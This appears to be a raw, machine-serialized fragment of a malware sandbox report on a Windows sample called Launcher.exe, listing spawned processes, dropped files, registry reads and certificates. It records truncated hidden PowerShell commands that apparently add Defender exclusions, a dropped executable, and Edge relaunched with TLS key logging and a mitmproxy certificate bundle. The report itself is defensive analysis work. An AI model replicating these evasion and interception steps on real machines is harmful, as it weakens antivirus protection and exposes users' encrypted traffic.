EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00003416) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), NODE_PATH, CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, DriverData, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007948) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="qvoHrjhEPuglari", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", EDGE_METRICS_SESSION_ID="12", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", USERNAME="qpQbeYh", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", NODE_PATH="%PROGRAMFILES%\nodejs\node_modules", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", DriverData="%WINDIR%\System32\Drivers\DriverData", OS="Windows_NT", COMPUTERNAME="qvoHrjhEPuglari", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\qpQbeYh", HOMEDRIVE="C:", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="C:\Users\qpQbeYh", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00004072) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), NODE_PATH, CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, DriverData, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00006776) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="qvoHrjhEPuglari", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", EDGE_METRICS_SESSION_ID="12", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", USERNAME="qpQbeYh", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", NODE_PATH="%PROGRAMFILES%\nodejs\node_modules", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", DriverData="%WINDIR%\System32\Drivers\DriverData", OS="Windows_NT", COMPUTERNAME="qvoHrjhEPuglari", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\qpQbeYh", HOMEDRIVE="C:", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="C:\Users\qpQbeYh", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00007924) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), NODE_PATH, CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, DriverData, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH"41:T1012,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006468-00000C2B-876077151] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006468-00000C2B-876386918] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006468-00000C2B-876489691] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006468-00000C2B-876585215] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll" [Source: 00000000-00006468-00000C2B-876867139] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006468-00000C2B-876910282] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006468-00000C2B-876958395] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006468-00000C2B-877013433] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll" [Source: 00000000-00006468-00000C2B-877104550] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll" [Source: 00000000-00006468-00000C2B-877159900] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006468-00000C2B-877296488] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00006468-00000C2B-877389116] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006468-00000C2B-877414462] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006468-00000C2B-877521819] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006468-00000C2B-877715796] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006468-00000C2B-878036924] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006468-00000C2B-878133439] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006468-00000C2B-878940236] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll" [Source: 00000000-00006468-00000C2B-879101604] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006468-00000C2B-879113172] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006468-00000C2B-879171295] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006468-00000C2B-879198720] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" [Source: 00000000-00006468-00000C2B-879374960] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006468-00000C2B-879412092] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006468-00000C2B-879485436]42:Tc49,Spawned process "DllHost.exe" with commandline "/Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" (UID: 00000000-00005936) Spawned process "Launcher.exe" with commandline "QPBYAMBY" (UID: 00000000-00005884) Spawned process "cmd.exe" with commandline "/C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPre ..." (UID: 00000000-00001548), Spawned process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPrefe ..." (UID: 00000000-00006468) Spawned process "cmd.exe" with commandline "/C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPre ..." (UID: 00000000-00007672), Spawned process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPrefe ..." (UID: 00000000-00005048) Spawned process "cmd.exe" with commandline "/C gpupdate /force" (UID: 00000000-00005932) Spawned process "gpupdate.exe" with commandline "gpupdate /force" (UID: 00000000-00005096) Spawned process "evbhxjyhj.exe" (UID: 00000000-00003132) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00006080) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00002236), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00004776), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00006844), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003416), Spawned process "msedge.exe" with commandline "--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-mem ..." (UID: 00000000-00007824), Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --pdf-upsell-enabled --video-c ..." (UID: 00000000-00007764), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=audio.mojom.AudioService --lan ..." (UID: 00000000-00007948), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00004072), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en ..." (UID: 00000000-00006776), Spawned process "identity_helper.exe" with commandline "--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdS ..." (UID: 00000000-00005688), Spawned process "identity_helper.exe" with commandline "--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdS ..." (UID: 00000000-00006184), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00007924), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=PooledProcess2 --lang=en-US -- ..." (UID: 00000000-00000292), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00000384)43:Tc49,Spawned process "DllHost.exe" with commandline "/Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" (UID: 00000000-00005936) Spawned process "Launcher.exe" with commandline "QPBYAMBY" (UID: 00000000-00005884) Spawned process "cmd.exe" with commandline "/C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPre ..." (UID: 00000000-00001548), Spawned process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPrefe ..." (UID: 00000000-00006468) Spawned process "cmd.exe" with commandline "/C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPre ..." (UID: 00000000-00007672), Spawned process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPrefe ..." (UID: 00000000-00005048) Spawned process "cmd.exe" with commandline "/C gpupdate /force" (UID: 00000000-00005932) Spawned process "gpupdate.exe" with commandline "gpupdate /force" (UID: 00000000-00005096) Spawned process "evbhxjyhj.exe" (UID: 00000000-00003132) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00006080) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00002236), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00004776), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00006844), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003416), Spawned process "msedge.exe" with commandline "--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-mem ..." (UID: 00000000-00007824), Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --pdf-upsell-enabled --video-c ..." (UID: 00000000-00007764), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=audio.mojom.AudioService --lan ..." (UID: 00000000-00007948), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00004072), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en ..." (UID: 00000000-00006776), Spawned process "identity_helper.exe" with commandline "--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdS ..." (UID: 00000000-00005688), Spawned process "identity_helper.exe" with commandline "--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdS ..." (UID: 00000000-00006184), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00007924), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=PooledProcess2 --lang=en-US -- ..." (UID: 00000000-00000292), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00000384)44:Tf13,The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 M04, O=Amazon, C=US" (SHA1: 31:9D:56:25:4F:74:F5:D5:F8:48:31:FD:89:51:E4:FA:8B:7C:22:AD; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon Root CA 1, O=Amazon, C=US" (SHA1: E7:B8:B5:A6:74:3C:E1:B2:F1:7B:04:1D:E5:95:58:A4:14:72:D7:0C; see report for more information) The input sample is signed with a certificate issued by "CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 06:B2:59:27:C4:2A:72:16:31:C1:EF:D9:43:1E:64:8F:A6:2E:1E:39; see report for more information) The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: F5:64:5E:11:FE:14:86:79:C8:AB:1E:6D:76:32:3C:CC:3F:8E:A9:82; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 4D:9A:CB:31:3D:73:DA:2E:9E:B4:51:A7:CF:63:09:AF:45:C9:93:C1; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 9C:FF:31:B5:1D:22:B9:BF:D3:80:8A:8C:35:B4:BB:DF:36:13:71:F0; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS RSA Root G2, O=Microsoft Corporation, C=US" (SHA1: 27:E6:66:32:99:D3:40:DF:E5:45:71:CE:CC:EC:01:BE:74:49:5D:C6; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B5:EE:89:E7:73:26:AB:2B:F1:77:5B:D9:9C:19:A2:89:47:FF:81:84; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 06:86:B3:24:9A:78:16:51:29:96:04:EE:6F:27:7A:8A:C7:21:4D:07; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: FB:30:92:B6:32:FA:52:FA:63:F6:94:2F:6F:50:38:95:72:BC:57:C0; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 M04, O=Amazon, C=US" (SHA1: E7:26:0D:F0:1C:8D:4A:F7:5D:16:41:FB:C8:4E:3A:04:86:AD:99:8A; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 7E:9B:0B:64:0F:E9:7B:DD:92:F4:5A:F3:DF:89:50:51:E2:3F:3C:30; see report for more information) The input sample is signed with a certificate issued by "CN=YR1, O=Let's Encrypt, C=US" (SHA1: F4:22:F0:3B:A3:8E:4A:5A:0D:58:A8:78:98:5F:D2:F5:DF:DB:3E:51; see report for more information) The input sample is signed with a certificate issued by "CN=Root YR, O=ISRG, C=US" (SHA1: CB:CF:D0:9C:E3:CD:22:D9:9D:94:E5:8F:92:E9:89:8F:BE:E5:1A:5E; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information)45:T61b,"evbhxjyhj.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 10 sections"- Location: [%ALLUSERSPROFILE%\evbhxjyhj.exe]- [targetUID: 00000000-00005884] "__PSScriptPolicyTest_5de03cda.ypp.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_5de03cda.ypp.ps1]- [targetUID: 00000000-00006468] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006468] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00006468] "__PSScriptPolicyTest_l5qpqe3l.uxw.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_l5qpqe3l.uxw.ps1]- [targetUID: 00000000-00006468] "__PSScriptPolicyTest_3zhmp24c.j41.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_3zhmp24c.j41.ps1]- [targetUID: 00000000-00005048] "__PSScriptPolicyTest_fay0b3o3.mgc.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_fay0b3o3.mgc.psm1]- [targetUID: 00000000-00006468] "__PSScriptPolicyTest_qalkowr0.g0q.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_qalkowr0.g0q.psm1]- [targetUID: 00000000-00005048] "__PSScriptPolicyTest_wl5a3mdp.dp4.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_wl5a3mdp.dp4.psm1]- [targetUID: 00000000-00006468]46:T5dc,"Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "")47:Tc67,"Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E36C4458-ED80-4AD7-A8BE-52DDA1EB5F1C"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000603XX"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F25BCD2E-2690-55DC-3BC4-07B65B1B41C9"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEUMPDBUFFERSIZECHECK"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "LAUNCHER"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "")48:T58f,"powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\4bc9a490e09c4482905e650c6310216b\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\704b6614c4744d16332d08daf175deed\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file 